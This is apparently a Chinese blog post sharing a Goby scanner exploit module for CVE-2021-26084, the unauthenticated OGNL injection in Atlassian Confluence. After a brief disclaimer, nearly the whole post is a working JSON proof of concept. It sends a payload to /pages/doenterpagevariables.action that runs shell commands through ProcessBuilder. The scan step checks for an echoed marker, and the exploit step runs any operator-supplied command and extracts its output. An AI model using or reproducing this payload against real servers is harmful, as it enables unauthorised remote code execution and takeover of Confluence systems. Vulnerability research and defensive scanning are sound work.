CVE-2021-26084 goby exp

• 声明
• 代码

声明

本程序仅供于学习交流，请使用者遵守《中华人民共和国网络安全法》，勿将此脚本用于非授权的测试，脚本开发者不负任何连带法律责任。

代码

{
      "Name": "Confluence RCE(CVE-2021-26084)",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "product=\"Confluence\"",
      "Description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.",
      "Product": "Atlassian Confluence",
      "Homepage": "https://www.atlassian.com/zh/software/confluence",
      "Author": "aetkrad",
      "Impact": "<p>allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance<br></p>",
      "Recommandation": "",
      "References": [
            "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26084"
      ],
      "HasExp":true,
      "ExpParams":[
      {
            "name":"cmd",
            "type":"input",
            "value":"whoami",
            "show":""
      }
      ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/doenterpagevariables.action",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var isWin=java.lang.System.getProperty(\\u0027os.name\\u0027).toLowerCase().contains(\\u0027win\\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\\u0027cmd.exe\\u0027,\\u0027/c\\u0027,\\u0027echo workwork\\u0027]);}else{p.command([\\u0027/bin/bash\\u0027,\\u0027-c\\u0027,\\u0027echo workwork\\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\\u0022)}%2b\\u0027"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "workwork",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps":[
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/doenterpagevariables.action",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=\\u0027%2b#{\\u0022\\u0022[\\u0022class\\u0022].forName(\\u0022javax.script.ScriptEngineManager\\u0022).newInstance().getEngineByName(\\u0022js\\u0022).eval(\\u0022var isWin=java.lang.System.getProperty(\\u0027os.name\\u0027).toLowerCase().contains(\\u0027win\\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\\u0027cmd.exe\\u0027,\\u0027/c\\u0027,\\u0027{{{cmd}}}\\u0027]);}else{p.command([\\u0027/bin/bash\\u0027,\\u0027-c\\u0027,\\u0027{{{cmd}}}\\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\\u0022)}%2b\\u0027"
                  },
                  "SetVariable": [
                        "output|lastbody|regex|value=\"{([\\s\\S]*)=null}\""
                  ]
            }
      ],
      "PostTime": "2021-10-27 13:33:02",
      "GobyVersion": "1.8.294"
}

标签：26084,Confluence,2021,u0022,CVE,type,u0027,before
来源： https://blog.csdn.net/cch139745/article/details/121009683